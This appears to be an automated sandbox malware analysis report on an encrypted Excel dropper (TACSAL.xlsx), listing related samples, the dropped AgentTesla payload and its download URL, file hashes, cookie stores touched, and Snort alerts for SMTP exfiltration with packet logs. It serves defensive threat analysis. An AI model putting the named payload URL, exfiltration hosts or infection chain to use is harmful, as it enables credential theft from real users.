	para.exe	Get hash	malicious	Browse	208.91.199.225
	AWB 9899691012 TRACKING INFO_pdf.exe	Get hash	malicious	Browse	208.91.199.224
	para.exe	Get hash	malicious	Browse	208.91.199.224
	SIC_9827906277.pdf.exe	Get hash	malicious	Browse	208.91.198.143
	Quotation Prices.exe	Get hash	malicious	Browse	208.91.199.223
	SecuriteInfo.com.Trojan.PackedNET.519.20020.exe	Get hash	malicious	Browse	208.91.199.225
	Shipping_Details.exe	Get hash	malicious	Browse	204.11.58.28
	Request.xlsx	Get hash	malicious	Browse	103.53.40.13
	HTG-9066543.exe	Get hash	malicious	Browse	208.91.199.223
	vA0mtZ7JzJ.exe	Get hash	malicious	Browse	216.10.246.131
	New Order #21076.exe	Get hash	malicious	Browse	208.91.199.224
	k.dll	Get hash	malicious	Browse	162.215.252.76
	HTMY-209871640.exe	Get hash	malicious	Browse	208.91.198.143
	SecuriteInfo.com.Artemis707F61F6A223.exe	Get hash	malicious	Browse	208.91.199.225
	SecuriteInfo.com.Trojan.DownLoader36.37393.26064.exe	Get hash	malicious	Browse	43.225.55.205
	New order.PDF.exe	Get hash	malicious	Browse	208.91.199.224
	certificado.doc	Get hash	malicious	Browse	162.215.254.66
	SecuriteInfo.com.Mal.DocDl-K.32352.doc	Get hash	malicious	Browse	162.215.254.66
	SecuriteInfo.com.Mal.DocDl-K.460.doc	Get hash	malicious	Browse	162.215.254.66

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\winlog[1].exe Download File
Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	downloaded
Size (bytes):	1073152
Entropy (8bit):	7.4331792605351374
Encrypted:	false
SSDEEP:	12288:UEz/ihNaF49GIyUasgV3L84I3QHc4KJ77W1Do3oX/VwbN4+vtE+LtZ/NRMiWitvH:Xz/ihNaF49rgV7JFcLYo3o9wqYTfV
MD5:	411FA0337649AD03B57D223E60680397
SHA1:	9378612B41943680D24AE3E44ECDC5CFF56FD630
SHA-256:	1966492F3A7BAEB08EF6AEFA4FE27203DE08D5965B91448C503FA12B2ADE596D
SHA-512:	F26344A879041C99B8B90E5E3F97A9935FC786DB77C26D87C33763AF3E6B35C3CF23FFD5DFA5B064F5E3A8D818A0B38DC96849CC76EE8F7C97A53ABF3D0BD25D
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
IE Cache URL:	http://suresb1sndyintercont.dns.army/receipst/winlog.exe
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...x..`..............P.................. ........@.. ....................................@.................................L...O.......\|............................................................................ ............... ..H............text........ ...................... ..`.rsrc...\|...........................@..@.reloc...............^..............@..B........................H........C...\...............E...........................................0............(....(..........(.....o..........................( ......(!......("......(#......($....N..(....op...(%....&..(&.....s'........s(........s)........s........s+............0...........~....o,....+...0...........~....o-....+...0...........~....o.....+...0...........~....o/....+...0...........~....o0....+..&..(1.......0..<........~.....(2.....,!r...p.....(3...o4...s5............~.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\188B1E12.jpeg Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	gd-jpeg v1.0 (using IJG JPEG v80), quality = 90", baseline, precision 8, 700x990, frames 3
Category:	dropped
Size (bytes):	48770
Entropy (8bit):	7.801842363879827
Encrypted:	false
SSDEEP:	768:uLgWImQ6AMqTeyjskbJeYnriZvApugsiKi7iszQ2rvBZzmFz3/soBqZhsglgDQPT:uLgY4MqTeywVYr+0ugbDTzQ27A3UXsgf
MD5:	AA7A56E6A97FFA9390DA10A2EC0C5805
SHA1:	200A6D7ED9F485DD5A7B9D79B596DE3ECEBD834A
SHA-256:	56B1EDECC9A282A9FAAFD95D4D9844608B1AE5CCC8731F34F8B30B3825734974
SHA-512:	A532FE4C52FED46919003A96B882AE6F7C70A3197AA57BD1E6E917F766729F7C9C1261C36F082FBE891852D083EDB2B5A34B0A325B7C1D96D6E58B0BED6C5782
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 90....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..R..(...(...(......3Fh.....(....P.E.P.Gj(...(....Q@.%-...(.......P.QKE.%.........;.R.@.E-...(.......P.QKE.'jZ(...QE..........h...(...QE.&(.KE.'jZ(...QE..........h...(...QE.&(.KE.'jZ(...QE..........h...(...QE.&(.KE.'j^.....(...(...(....w...3Fh....E......4w...h.%...................E./J)(......Z)(......Z)(....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\9CCDB2EB.jpeg Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	gd-jpeg v1.0 (using IJG JPEG v80), quality = 90", baseline, precision 8, 700x990, frames 3
Category:	dropped
Size (bytes):	48770
Entropy (8bit):	7.801842363879827
Encrypted:	false
SSDEEP:	768:uLgWImQ6AMqTeyjskbJeYnriZvApugsiKi7iszQ2rvBZzmFz3/soBqZhsglgDQPT:uLgY4MqTeywVYr+0ugbDTzQ27A3UXsgf
MD5:	AA7A56E6A97FFA9390DA10A2EC0C5805
SHA1:	200A6D7ED9F485DD5A7B9D79B596DE3ECEBD834A
SHA-256:	56B1EDECC9A282A9FAAFD95D4D9844608B1AE5CCC8731F34F8B30B3825734974
SHA-512:	A532FE4C52FED46919003A96B882AE6F7C70A3197AA57BD1E6E917F766729F7C9C1261C36F082FBE891852D083EDB2B5A34B0A325B7C1D96D6E58B0BED6C5782
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 90....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..R..(...(...(......3Fh.....(....P.E.P.Gj(...(....Q@.%-...(.......P.QKE.%.........;.R.@.E-...(.......P.QKE.'jZ(...QE..........h...(...QE.&(.KE.'jZ(...QE..........h...(...QE.&(.KE.'jZ(...QE..........h...(...QE.&(.KE.'j^.....(...(...(....w...3Fh....E......4w...h.%...................E./J)(......Z)(......Z)(....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\E243FB15.emf Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	653280
Entropy (8bit):	2.89864943318257
Encrypted:	false
SSDEEP:	3072:v34UL0tS6WB0JOqFVY5QcARI/McGdAT9kRLFdtSyUu50yknG/qc+x:v4UcLe0JOqQQZR8MDdATCR3tS+jqcC
MD5:	B48EDBEDB0821DB0627C611FB9FFF7E8
SHA1:	D175A268916620C44C348EAE6F34F37DF325E404
SHA-256:	E25B5950D855CDC8C99E9C68673D90D351EA9865FB4099C79E772D4D1A34D3B6
SHA-512:	436B5F4FEAF6245A4D5FE411330ACE34B6C3892E15B8DD0FC8CFF94A9C089F0467A5AFEF3EBD7B2E2FCBAC5A037876E8FD554E6ED3C326D0CC81733E454ECAAB
Malicious:	false
Reputation:	low
Preview:	....l...........S................@...#.. EMF........(...............................................\K..hC..F...,... ...EMF+.@..................X...X...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..............................................I...c...%...........%...................................R...p................................@."C.a.l.i.b.r.i.....................................................".$."......."..."..N.U.."...".......".l."..N.U.."...". ....y.Q.."...". ............z.Q............................................X...%...7...................{ .@................C.a.l.i.b.r...............".X....."..."..2.Q.........."..."..{.Q......".....dv......%...........%...........%...........!.......................I...c..."...........%...........%...........%...........T...T..........................@.E.@T...........L...............I...c...P... ...6...F...$.......EMF+@..$..........?...........?.........@...........@..........@..$..........?....

C:\Users\user\AppData\Roaming\x2nas2ex.vh2\Chrome\Default\Cookies Download File
Process:	C:\Users\Public\vbc.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.9650411582864293
Encrypted:	false
SSDEEP:	48:T2loMLOpEO5J/KdGU1jX983Gul4kEBrvK5GYWgqRSESXh:inNww9t9wGAE
MD5:	903C35B27A5774A639A90D5332EEF8E0
SHA1:	5A8CE0B6C13D1AF00837AA6CA1AA39000D4EB7CF
SHA-256:	1159B5AE357F89C56FA23C14378FF728251E6BDE6EEA979F528DB11C4030BE74
SHA-512:	076BD35B0D59FFA7A52588332A862814DDF049EE59E27542A2DA10E7A5340758B8C8ED2DEFE78C5B5A89EE54C19A89D49D2B86B49BF5542D76C1D4A378B40277
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................C..........g...N......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\x2nas2ex.vh2\Firefox\Profiles\7xwghk55.default\cookies.sqlite Download File
Process:	C:\Users\Public\vbc.exe
File Type:	SQLite 3.x database, user version 7, last written using SQLite version 3017000
Category:	dropped
Size (bytes):	524288
Entropy (8bit):	0.08107860342777487
Encrypted:	false
SSDEEP:	48:DO8rmWT8cl+fpNDId7r+gUEl1B6nB6UnUqc8AqwIhY5wXwwAVshT:DOUm7ii+7Ue1AQ98VVY
MD5:	1138F6578C48F43C5597EE203AFF5B27
SHA1:	9B55D0A511E7348E507D818B93F1C99986D33E7B
SHA-256:	EEEDF71E8E9A3A048022978336CA89A30E014AE481E73EF5011071462343FFBF
SHA-512:	6D6D7ECF025650D3E2358F5E2D17D1EC8D6231C7739B60A74B1D8E19D1B1966F5D88CC605463C3E26102D006E84D853E390FFED713971DC1D79EB1AB6E56585E
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ ...........................................................................(.....}..~...}.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\~$TACSAL.xlsx Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	330
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:vZ/FFDJw2fj/FFDJw2fV:vBFFGaFFGS
MD5:	96114D75E30EBD26B572C1FC83D1D02E
SHA1:	A44EEBDA5EB09862AC46346227F06F8CFAF19407
SHA-256:	0C6F8CF0E504C17073E4C614C8A7063F194E335D840611EEFA9E29C7CED1A523
SHA-512:	52D33C36DF2A91E63A9B1949FDC5D69E6A3610CD3855A2E3FC25017BF0A12717FC15EB8AC6113DC7D69C06AD4A83FAF0F021AD7C8D30600AA8168348BD0FA9E0
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	.user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\Public\vbc.exe Download File
Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1073152
Entropy (8bit):	7.4331792605351374
Encrypted:	false
SSDEEP:	12288:UEz/ihNaF49GIyUasgV3L84I3QHc4KJ77W1Do3oX/VwbN4+vtE+LtZ/NRMiWitvH:Xz/ihNaF49rgV7JFcLYo3o9wqYTfV
MD5:	411FA0337649AD03B57D223E60680397
SHA1:	9378612B41943680D24AE3E44ECDC5CFF56FD630
SHA-256:	1966492F3A7BAEB08EF6AEFA4FE27203DE08D5965B91448C503FA12B2ADE596D
SHA-512:	F26344A879041C99B8B90E5E3F97A9935FC786DB77C26D87C33763AF3E6B35C3CF23FFD5DFA5B064F5E3A8D818A0B38DC96849CC76EE8F7C97A53ABF3D0BD25D
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...x..`..............P.................. ........@.. ....................................@.................................L...O.......\|............................................................................ ............... ..H............text........ ...................... ..`.rsrc...\|...........................@..@.reloc...............^..............@..B........................H........C...\...............E...........................................0............(....(..........(.....o..........................( ......(!......("......(#......($....N..(....op...(%....&..(&.....s'........s(........s)........s........s+............0...........~....o,....+...0...........~....o-....+...0...........~....o.....+...0...........~....o/....+...0...........~....o0....+..&..(1.......0..<........~.....(2.....,!r...p.....(3...o4...s5............~.....

Static File Info

General
File type:	CDFV2 Encrypted
Entropy (8bit):	7.996660916028192
TrID:	Generic OLE2 / Multistream Compound File (8008/1) 100.00%
File name:	TACSAL.xlsx
File size:	2411520
MD5:	04295ba63eaeb18f062045b0d0106670
SHA1:	daf3e6043fa67319bf7090cdc60bec6303c7f78e
SHA256:	fbc7b775eaa32cdc8daffe7a3db74bc36e06bab32b53d5d65eceb76081f664cd
SHA512:	94c2d2652ad9bc2a37779afd9e7a81db0c27e6bd3649c4d598a806ac3db522b0d2ab8afa0eae5a96e10424a18b56a31041c3c69711feebbd468f5ba58cd521e7
SSDEEP:	49152:s+xg0pV0kFwQvsRH3twbJZv3+vYv9V8preXpjcmXWWs:skgchwQvsZ3twbJZUrCHGWs
File Content Preview:	........................>...................%...................................................................................\|.......~...............z.......\|.......~...............z.......\|.......~...............z......................................

File Icon


Icon Hash:	e4e2aa8aa4b4bcb4

Static OLE Info

General
Document Type:	OLE
Number of OLE Files:	1

OLE File "TACSAL.xlsx"

Indicators
Has Summary Info:	False
Application Name:	unknown
Encrypted Document:	True
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	False
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:	False

Streams

Stream Path: \x6DataSpaces/DataSpaceInfo/StrongEncryptionDataSpace, File Type: data, Stream Size: 64

General
Stream Path:	\x6DataSpaces/DataSpaceInfo/StrongEncryptionDataSpace
File Type:	data
Stream Size:	64
Entropy:	2.73637206947
Base64 Encoded:	False
Data ASCII:	. . . . . . . . 2 . . . S . t . r . o . n . g . E . n . c . r . y . p . t . i . o . n . T . r . a . n . s . f . o . r . m . . .
Data Raw:	08 00 00 00 01 00 00 00 32 00 00 00 53 00 74 00 72 00 6f 00 6e 00 67 00 45 00 6e 00 63 00 72 00 79 00 70 00 74 00 69 00 6f 00 6e 00 54 00 72 00 61 00 6e 00 73 00 66 00 6f 00 72 00 6d 00 00 00

Stream Path: \x6DataSpaces/DataSpaceMap, File Type: data, Stream Size: 112

General
Stream Path:	\x6DataSpaces/DataSpaceMap
File Type:	data
Stream Size:	112
Entropy:	2.7597816111
Base64 Encoded:	False
Data ASCII:	. . . . . . . . h . . . . . . . . . . . . . . E . n . c . r . y . p . t . e . d . P . a . c . k . a . g . e . 2 . . . S . t . r . o . n . g . E . n . c . r . y . p . t . i . o . n . D . a . t . a . S . p . a . c . e . . .
Data Raw:	08 00 00 00 01 00 00 00 68 00 00 00 01 00 00 00 00 00 00 00 20 00 00 00 45 00 6e 00 63 00 72 00 79 00 70 00 74 00 65 00 64 00 50 00 61 00 63 00 6b 00 61 00 67 00 65 00 32 00 00 00 53 00 74 00 72 00 6f 00 6e 00 67 00 45 00 6e 00 63 00 72 00 79 00 70 00 74 00 69 00 6f 00 6e 00 44 00 61 00 74 00 61 00 53 00 70 00 61 00 63 00 65 00 00 00

Stream Path: \x6DataSpaces/TransformInfo/StrongEncryptionTransform/\x6Primary, File Type: data, Stream Size: 200

General
Stream Path:	\x6DataSpaces/TransformInfo/StrongEncryptionTransform/\x6Primary
File Type:	data
Stream Size:	200
Entropy:	3.13335930328
Base64 Encoded:	False
Data ASCII:	X . . . . . . . L . . . { . F . F . 9 . A . 3 . F . 0 . 3 . - . 5 . 6 . E . F . - . 4 . 6 . 1 . 3 . - . B . D . D . 5 . - . 5 . A . 4 . 1 . C . 1 . D . 0 . 7 . 2 . 4 . 6 . } . N . . . M . i . c . r . o . s . o . f . t . . . C . o . n . t . a . i . n . e . r . . . E . n . c . r . y . p . t . i . o . n . T . r . a . n . s . f . o . r . m . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	58 00 00 00 01 00 00 00 4c 00 00 00 7b 00 46 00 46 00 39 00 41 00 33 00 46 00 30 00 33 00 2d 00 35 00 36 00 45 00 46 00 2d 00 34 00 36 00 31 00 33 00 2d 00 42 00 44 00 44 00 35 00 2d 00 35 00 41 00 34 00 31 00 43 00 31 00 44 00 30 00 37 00 32 00 34 00 36 00 7d 00 4e 00 00 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 2e 00 43 00 6f 00 6e 00 74 00 61 00 69 00 6e 00 65 00

Stream Path: \x6DataSpaces/Version, File Type: data, Stream Size: 76

General
Stream Path:	\x6DataSpaces/Version
File Type:	data
Stream Size:	76
Entropy:	2.79079600998
Base64 Encoded:	False
Data ASCII:	< . . . M . i . c . r . o . s . o . f . t . . . C . o . n . t . a . i . n . e . r . . . D . a . t . a . S . p . a . c . e . s . . . . . . . . . . . . .
Data Raw:	3c 00 00 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 2e 00 43 00 6f 00 6e 00 74 00 61 00 69 00 6e 00 65 00 72 00 2e 00 44 00 61 00 74 00 61 00 53 00 70 00 61 00 63 00 65 00 73 00 01 00 00 00 01 00 00 00 01 00 00 00

Stream Path: EncryptedPackage, File Type: data, Stream Size: 2388712

General
Stream Path:	EncryptedPackage
File Type:	data
Stream Size:	2388712
Entropy:	7.9999208389
Base64 Encoded:	True
Data ASCII:	. r $ . . . . . . . . . . q . H . . ' . . . . . ' . r . . . . . . . . . . Y X . 6 . c / Z s . . . 2 ^ z . * i . @ . . . . . . . . . . z . . . 9 . . ? { j v . * 8 . . . . J . . . . ? { j v . * 8 . . . . J . . . . ? { j v . * 8 . . . . J . . . . ? { j v . * 8 . . . . J . . . . ? { j v . * 8 . . . . J . . . . ? { j v . * 8 . . . . J . . . . ? { j v . * 8 . . . . J . . . . ? { j v . * 8 . . . . J . . . . ? { j v . * 8 . . . . J . . . . ? { j v . * 8 . . . . J . . . . ? { j v . * 8 . . . . J . . . . ? { j v . *
Data Raw:	d9 72 24 00 00 00 00 00 c2 a5 cf cf bb 71 91 48 b7 02 27 aa be 13 f9 90 27 bf 72 e9 0a d5 f8 b1 a7 f0 e2 cf c8 59 58 c9 36 97 63 2f 5a 73 88 89 98 32 5e 7a b8 2a 69 db 40 a7 a3 d6 02 f0 db ea 1f f8 c3 7a d8 d5 bc 39 c8 cf 3f 7b 6a 76 dc 2a 38 e4 c1 b9 9b 4a f7 a6 c8 cf 3f 7b 6a 76 dc 2a 38 e4 c1 b9 9b 4a f7 a6 c8 cf 3f 7b 6a 76 dc 2a 38 e4 c1 b9 9b 4a f7 a6 c8 cf 3f 7b 6a 76 dc 2a

Stream Path: EncryptionInfo, File Type: data, Stream Size: 224

General
Stream Path:	EncryptionInfo
File Type:	data
Stream Size:	224
Entropy:	4.58330820551
Base64 Encoded:	False
Data ASCII:	. . . . $ . . . . . . . $ . . . . . . . . f . . . . . . . . . . . . . . . . . . . . . . M . i . c . r . o . s . o . f . t . . E . n . h . a . n . c . e . d . . R . S . A . . a . n . d . . A . E . S . . C . r . y . p . t . o . g . r . a . p . h . i . c . . P . r . o . v . i . d . e . r . . . . . . . . 1 q + 2 . . H . . . . . \| . . ` 3 h . { 9 t . . * . . 6 . . K . . . . . . ~ . . . p . . Y . . ^ _ m N B . g . . 4 . $ . . . . / z I
Data Raw:	04 00 02 00 24 00 00 00 8c 00 00 00 24 00 00 00 00 00 00 00 0e 66 00 00 04 80 00 00 80 00 00 00 18 00 00 00 00 00 00 00 00 00 00 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 45 00 6e 00 68 00 61 00 6e 00 63 00 65 00 64 00 20 00 52 00 53 00 41 00 20 00 61 00 6e 00 64 00 20 00 41 00 45 00 53 00 20 00 43 00 72 00 79 00 70 00 74 00 6f 00 67 00 72 00 61 00 70 00 68 00

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
01/27/21-09:17:20.645015	TCP	2030171	ET TROJAN AgentTesla Exfil Via SMTP	49166	587	192.168.2.22	208.91.199.225
01/27/21-09:17:23.479047	TCP	2030171	ET TROJAN AgentTesla Exfil Via SMTP	49167	587	192.168.2.22	208.91.198.143

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 27, 2021 09:15:46.174457073 CET	49165	80	192.168.2.22	103.153.76.181
Jan 27, 2021 09:15:46.397540092 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:46.397635937 CET	49165	80	192.168.2.22	103.153.76.181
Jan 27, 2021 09:15:46.397888899 CET	49165	80	192.168.2.22	103.153.76.181
Jan 27, 2021 09:15:46.624223948 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:46.624253035 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:46.624265909 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:46.624277115 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:46.624528885 CET	49165	80	192.168.2.22	103.153.76.181
Jan 27, 2021 09:15:46.847124100 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:46.847202063 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:46.847240925 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:46.847280025 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:46.847316027 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:46.847359896 CET	49165	80	192.168.2.22	103.153.76.181
Jan 27, 2021 09:15:46.847368956 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:46.847392082 CET	49165	80	192.168.2.22	103.153.76.181
Jan 27, 2021 09:15:46.847414970 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:46.847434998 CET	49165	80	192.168.2.22	103.153.76.181
Jan 27, 2021 09:15:46.847459078 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:46.847481966 CET	49165	80	192.168.2.22	103.153.76.181
Jan 27, 2021 09:15:46.847500086 CET	49165	80	192.168.2.22	103.153.76.181
Jan 27, 2021 09:15:46.847621918 CET	49165	80	192.168.2.22	103.153.76.181
Jan 27, 2021 09:15:47.069730043 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:47.069772005 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:47.069787025 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:47.069798946 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:47.069814920 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:47.069830894 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:47.069847107 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:47.069864035 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:47.069880009 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:47.069895983 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:47.069915056 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:47.069931984 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:47.069942951 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:47.069955111 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:47.069967985 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:47.069983959 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:47.070044041 CET	49165	80	192.168.2.22	103.153.76.181
Jan 27, 2021 09:15:47.070075989 CET	49165	80	192.168.2.22	103.153.76.181
Jan 27, 2021 09:15:47.070080996 CET	49165	80	192.168.2.22	103.153.76.181
Jan 27, 2021 09:15:47.072365999 CET	49165	80	192.168.2.22	103.153.76.181
Jan 27, 2021 09:15:47.292237997 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:47.292292118 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:47.292340040 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:47.292383909 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:47.292422056 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:47.292463064 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:47.292500973 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:47.292505026 CET	49165	80	192.168.2.22	103.153.76.181
Jan 27, 2021 09:15:47.292525053 CET	49165	80	192.168.2.22	103.153.76.181
Jan 27, 2021 09:15:47.292527914 CET	49165	80	192.168.2.22	103.153.76.181
Jan 27, 2021 09:15:47.292536020 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:47.292558908 CET	49165	80	192.168.2.22	103.153.76.181
Jan 27, 2021 09:15:47.292573929 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:47.292584896 CET	49165	80	192.168.2.22	103.153.76.181
Jan 27, 2021 09:15:47.292610884 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:47.292615891 CET	49165	80	192.168.2.22	103.153.76.181
Jan 27, 2021 09:15:47.292658091 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:47.292670012 CET	49165	80	192.168.2.22	103.153.76.181
Jan 27, 2021 09:15:47.292700052 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:47.292711020 CET	49165	80	192.168.2.22	103.153.76.181
Jan 27, 2021 09:15:47.292737007 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:47.292738914 CET	49165	80	192.168.2.22	103.153.76.181
Jan 27, 2021 09:15:47.292776108 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:47.292788029 CET	49165	80	192.168.2.22	103.153.76.181
Jan 27, 2021 09:15:47.292814016 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:47.292814970 CET	49165	80	192.168.2.22	103.153.76.181
Jan 27, 2021 09:15:47.292850971 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:47.292865038 CET	49165	80	192.168.2.22	103.153.76.181
Jan 27, 2021 09:15:47.292889118 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:47.292895079 CET	49165	80	192.168.2.22	103.153.76.181
Jan 27, 2021 09:15:47.292926073 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:47.292938948 CET	49165	80	192.168.2.22	103.153.76.181
Jan 27, 2021 09:15:47.292970896 CET	49165	80	192.168.2.22	103.153.76.181
Jan 27, 2021 09:15:47.292972088 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:47.293015003 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:47.293028116 CET	49165	80	192.168.2.22	103.153.76.181
Jan 27, 2021 09:15:47.293051004 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:47.293052912 CET	49165	80	192.168.2.22	103.153.76.181
Jan 27, 2021 09:15:47.293090105 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:47.293102980 CET	49165	80	192.168.2.22	103.153.76.181
Jan 27, 2021 09:15:47.293133974 CET	49165	80	192.168.2.22	103.153.76.181
Jan 27, 2021 09:15:47.294357061 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:47.294394970 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:47.294441938 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:47.294469118 CET	49165	80	192.168.2.22	103.153.76.181
Jan 27, 2021 09:15:47.294521093 CET	49165	80	192.168.2.22	103.153.76.181
Jan 27, 2021 09:15:47.294531107 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:47.294625998 CET	49165	80	192.168.2.22	103.153.76.181
Jan 27, 2021 09:15:47.295317888 CET	49165	80	192.168.2.22	103.153.76.181
Jan 27, 2021 09:15:47.515434980 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:47.515501022 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:47.515539885 CET	80	49165	103.153.76.181	192.168.2.22
Jan 27, 2021 09:15:47.515577078 CET	80	49165	103.153.76.181	192.168.2.22
